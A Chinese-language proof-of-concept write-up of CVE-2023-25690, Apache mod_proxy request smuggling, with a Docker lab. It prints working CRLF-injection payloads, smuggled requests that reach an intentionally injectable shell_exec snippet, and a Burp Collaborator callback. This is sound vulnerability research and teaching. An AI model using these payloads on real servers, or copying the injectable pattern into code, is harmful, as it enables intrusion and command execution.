CVE 2023 25690 - 概念验证

发布日期：2023年3月7日

基础评分	机密性	完整性影响	可用性影响
9.8	高	高	高

目录

• 公告描述
• 易受攻击的 Apache 配置详解
  • 数据流
• 实验环境搭建
• HTTP 请求拆分导致后端服务上的 HTTP 请求走私
  • 识别 CRLF 注入
  • 通过头部注入实现内部 HTTP 请求走私
• 影响

公告描述

Apache HTTP Server 版本 2.4.0 至 2.4.55 上的某些 mod_proxy 配置允许发起 HTTP 请求走私攻击。当 mod_proxy 与某种形式的 RewriteRule 或 ProxyPassMatch 一起启用时，配置会受到影响：非特定模式会匹配用户提供的请求目标（URL）数据的一部分，然后通过 变量替换 重新插入到代理请求目标中。例如：

RewriteEngine on 
RewriteRule "^/here/(.*)" "http://example.com:8080/elsewhere?$1"; [P] 
ProxyPassReverse /here/ http://example.com:8080/

请求拆分/走私可能导致绕过代理服务器中的访问控制、将非预期 URL 代理到现有源服务器，以及缓存投毒。建议用户至少将 Apache HTTP Server 升级到 2.4.56 版本。

https://ubuntu.com/security/CVE-2023-25690
https://security.snyk.io/vuln/SNYK-UBUNTU2210-APACHE2-3355688

---

易受攻击的 Apache 配置详解

在 Apache 配置中包含 RewriteEngine on 即可启用 URL 重写引擎。URL 重写是一种允许 Web 服务器在提供内容之前，将客户端浏览器请求的 URL 动态更改为另一个 URL 的技术。
例如，假设我们有一个在线商店，其 URL 结构如下：

https://example-shop.com/categories/1

假设 Apache 配置文件中存在以下 RewriteRule 指令：

RewriteRule "^/categories/(.*)" "http://example-shop.com:8080/categories?id=$1"; [P] 

当用户请求 URL https://example-shop.com/categories/1 时，RewriteRule 将匹配该 URL，并使用正则表达式 ^/categories/(.*) 捕获值 1。然后，该规则会将捕获的值作为查询参数 id 附加到重写后的 URL 上，从而将 URL 重写为 http://example-shop.com:8080/categories?id=1。

由于规则中存在 [P] 标志，Apache 会将重写后的 URL 视为代理请求，并将其转发到 http://example-shop.com:8080/categories 处的目标服务器，同时将查询参数 id 设置为 1。目标服务器随后处理该请求，并将响应发送回 Apache，由 Apache 将其转发给客户端。

总之，带有 [P] 标志的 RewriteRule 指令用于重写 URL 并将其代理到另一台服务器。在此例中，该规则匹配以 /categories/ 开头的 URL，并将捕获的值作为查询参数 id 附加到重写后的 URL。Apache 随后将请求转发到目标服务器，目标服务器处理请求并返回响应。

最后，关于 ProxyPassReverse /categories/ http://example-shop.com:8080/，这一行只是用代理服务器的域名和路径替换后端服务器的域名和路径，以便客户端能够正确跟随链接并访问来自代理后端服务器的内容，就像这些内容直接由代理服务器提供一样。

数据流

---

实验环境搭建

为了模拟 Apache 中的该漏洞，我们将使用 httpd 2.4.55 版本。此外，整个实验环境将被 Docker 化，以提高搭建、配置和复现的便利性。

实验文件结构如下：

lab/
├── backend
│   ├── Dockerfile
│   └── src
│       ├── categories.php
│       └── index.php
├── docker-compose.yml
└── frontend
    ├── Dockerfile
    └── httpd.conf

最终的 httpd.conf 配置如下所示：

ErrorLog "/usr/local/apache2/logs/error.log"
CustomLog "/usr/local/apache2/logs/access.log" common

# Load necessary modules 
LoadModule rewrite_module modules/mod_rewrite.so
LoadModule proxy_module modules/mod_proxy.so
LoadModule proxy_http_module modules/mod_proxy_http.so

<VirtualHost *:80>

    RewriteEngine on
    RewriteRule "^/categories/(.*)" "http://192.168.10.100:8080/categories.php?id=$1" [P]
    ProxyPassReverse "/categories/" "http://192.168.10.100:8080/"

</VirtualHost>

使用 docker-compose.exe up --build 命令启动实验环境。

• mod_rewrite 文档：https://httpd.apache.org/docs/2.4/mod/mod_rewrite.html
  
• mod_proxy 文档：https://httpd.apache.org/docs/2.4/mod/mod_proxy.html

HTTP 请求拆分导致后端服务上的 HTTP 请求走私

在本节中，我将解释 CRLF 注入如何导致内部 HTTP 请求走私，从而使攻击者能够未经授权访问原本无法访问的内部资源。

识别 CRLF 注入

根据公告描述，httpd <=2.4.55 存在 HTTP 响应拆分漏洞，也称为 CRLF 注入。
CRLF 注入发生在以下情况：

• 数据通过不受信任的源进入 Web 应用程序，最常见的是 HTTP 请求
• 数据被包含在发送给 Web 用户的 HTTP 响应头中，且未针对恶意字符进行验证。

在本例中，可以通过在 URL 中传入以下 CRLF 前缀来确认：

 HTTP/1.1\r\nFoo: baarr\r\n\r\n
%20HTTP/1.1%0d%0aFoo:%20baarr

将上述前缀附加到 URL 后，得到的最终请求如下：

GET /categories/1%20HTTP/1.1%0d%0aFoo:%20baarr HTTP/1.1
Host: 192.168.1.103
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36

请求发出后，服务器将处理数据并返回 200 响应码，表明存在 CRLF 注入漏洞。

HTTP/1.1 200 OK
Date: Mon, 22 May 2023 02:05:28 GMT
Server: Apache/2.4.54 (Debian)
X-Powered-By: PHP/7.4.33
Content-Length: 21
Content-Type: text/html; charset=UTF-8

You category ID is: 1

有关 HTTP 请求拆分的更多信息，可在此处找到：https://owasp.org/www-community/attacks/HTTP_Response_Splitting

通过头部注入实现内部 HTTP 请求走私

使用头部注入，我们将执行内部 HTTP 请求走私。
让我们从以下前缀开始：

 HTTP/1.1\r\nHost: localhost\r\n\r\nGET /SMUGGLED
%20HTTP/1.1%0d%0aHost:%20localhost%0d%0a%0d%0aGET%20/SMUGGLED

以及以下请求：

GET /categories/1%20HTTP/1.1%0d%0aHost:%20localhost%0d%0a%0d%0aGET%20/SMUGGLED HTTP/1.1
Host: 192.168.1.103
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36

应用重写规则后，请求会被转换为以下格式：

GET /categories.php?id=1 HTTP/1.1
Host: localhost

GET /SMUGGLED HTTP/1.1
Host: backend

其中，编码后的 URL 被解码为有效的 HTTP 语法，导致后端将解码后的数据视为第二个请求。
假设我们的内部应用程序具有以下秘密代码：

#Internal secret functionality
if(isset($_GET['secret'])){
    $secret = $_GET['secret'];

    shell_exec('nslookup ' . $secret);
}

使用以下前缀，我们便可以向隐藏功能发送第二个请求：

 HTTP/1.1\r\nHost: localhost\r\n\r\nGET /categories.php?secret=im8uzc5sbq7xasyxk5yhfc734uaky9.burpcollaborator.net
%20HTTP/1.1%0d%0aHost:%20localhost%0d%0a%0d%0aGET%20/categories.php?secret=im8uzc5sbq7xasyxk5yhfc734uaky9.burpcollaborator.net

GET /categories/1%20HTTP/1.1%0d%0aHost:%20localhost%0d%0a%0d%0aGET%20/categories.php%3fsecret%3dq0r2dkj0pyl5o0c5ydcptklbi2otci.burpcollaborator.net HTTP/1.1
Host: 192.168.1.103
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36

并在 burp collaborator 上检索到该请求：

补丁：

• https://github.com/apache/httpd/commit/8789f6bb926fa4c33b4231a8444340515c82bdff
• https://github.com/apache/httpd/commit/8b93a6512f14f5f68887ddfe677e91233ed79fb0

影响

该漏洞的影响在于，攻击者可以针对并访问原本应由反向代理隐藏的内部应用程序，从而可能导致未经授权的访问、数据泄露或进一步利用。